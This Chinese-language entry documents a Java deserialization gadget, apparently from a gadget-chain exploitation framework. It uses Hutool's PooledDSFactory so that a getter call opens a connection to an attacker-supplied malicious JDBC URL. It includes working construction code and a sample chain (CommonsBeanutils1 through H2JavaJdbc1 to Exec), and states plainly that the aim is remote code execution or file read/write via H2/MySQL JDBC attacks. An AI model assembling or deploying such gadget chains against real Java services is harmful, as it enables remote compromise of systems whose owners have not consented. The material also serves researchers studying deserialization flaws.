- 类别:javanative 别名:— 优先级:—
- 作者:Unam4
- 依赖:
cn.hutool.hutool-all:5.8.29
构造一个 Hutool 的 cn.hutool.db.ds.pooled.PooledDSFactory 对象作为「getter → JDBC」跳板:当上游 getter gadget 调用其 getDataSource() 时,会用配置里的 url 创建连接池并发起 JDBC 连接。因此本 gadget 把 getter 触发转为一次到攻击者可控 JDBC URL 的连接(nextTags=JdbcUrlChains,由下游提供恶意 jdbc url,如 H2/MySQL 恶意服务实现 RCE/文件读写)。
- 入口
tags:DataSourceChains、Getter、NotForRomeGetter/DataSourceChains:需由能调用目标 getter 的上游触发(CB/Hibernate/Jackson 等)。NotForRome:不能用于 Rome 链——Rome 调 getter 时拿不到DSFactory.class的 property 描述,触发不了getDataSource(见 description)。
- 衔接
nextTags:JdbcUrlChains—— 下游提供恶意 JDBC URL 字符串(如 H2JavaJdbc1 等 H2/MySQL jdbc 利用 gadget)。 excludes:无。
private final String getterMethodName = "getDataSource";
private final String getterPropertyName = "dataSource";
public Object getObject(String JDBC_URL) {
Setting setting = new Setting();
setting.setCharset(null);
setting.set("url", JDBC_URL); // 来自下游 JdbcUrlChains 的恶意 jdbc url
setting.set("initialSize", "1");
PooledDSFactory DSFactory2 = new PooledDSFactory(setting); // 构造期不连接,等 getDataSource
return DSFactory2;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String jdbcUrl = (String)chain.doCreate(context); // 先取下游产出的 jdbc url
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DSFactory.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getDataSource");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "dataSource");
return this.getObject(jdbcUrl);
}逐段解释:
- 与终点型的 HutoolJndiDSFactory 不同,本 gadget 需要下游:
invoke先chain.doCreate(context)拿到一个 JDBC URL 字符串(由JdbcUrlChains类 gadget 产出),再把它塞进Setting的url,构造PooledDSFactory。 - 3 个
ContextTag(SUPER_CLASS_NAME_KEY=DSFactory.class、SPECIAL_METHOD_NAME_KEY=getDataSource、GETTER_PARAM_NAME_KEY=dataSource)与 HutoolJndiDSFactory 相同,用于告知上游 getter gadget:要触发的属性是dataSource(方法getDataSource),且需以父类DSFactory.class解析 property 描述符。上游按此调用getDataSource()。 PooledDSFactory构造时不立即连库;真正的 JDBC 连接发生在cn.hutool.db.ds.pooled.PooledDSFactory#getDataSource(description 明确核心为PooledFactory#getDataSource)被上游触发之时——此时用恶意url建立连接池并getConnection,落入下游 jdbc 利用(如 H2INIT脚本执行字节码)。
本类无 @Param。JDBC URL 不是本 gadget 的固定参数,而是由下游 JdbcUrlChains gadget(通过 chain.doCreate)动态提供。
- 依赖
cn.hutool.hutool-all:5.8.29。核心方法cn.hutool.db.ds.pooled.PooledDSFactory#getDataSource。 - 与 HutoolJndiDSFactory 的差异:本类走 JDBC,非终点,必须再接一个
JdbcUrlChains下游来提供恶意 jdbc url;后者走 JNDI 且为END。 - 不适用 Rome 链(
NotForRome):Rome 调 getter 拿不到DSFactory.class的 property 描述,触发不了getDataSource。 - 需上游是 getter 触发型 gadget;
getDataSource定义在父类DSFactory上,故用SUPER_CLASS_NAME_KEY指定父类解析 property。
自由构件,未直接出现在预设链(usedInChains 为空)。常见组合:[<Getter 型 gadget>, HutoolPooledDSFactory, <JdbcUrl gadget>, ...],如 [CommonsBeanutils1, HutoolPooledDSFactory, H2JavaJdbc1, BytecodeConvert, Exec]。
- 上游(提供
Getter触发):CommonsBeanutils1、Hibernate 系、Jackson 系等。 - 下游(
nextTags=JdbcUrlChains):H2JavaJdbc1 等 H2/MySQL jdbc 利用 gadget。 - 同族(Hutool DataSource 工厂):HutoolJndiDSFactory、HutoolSimpleDSFactory。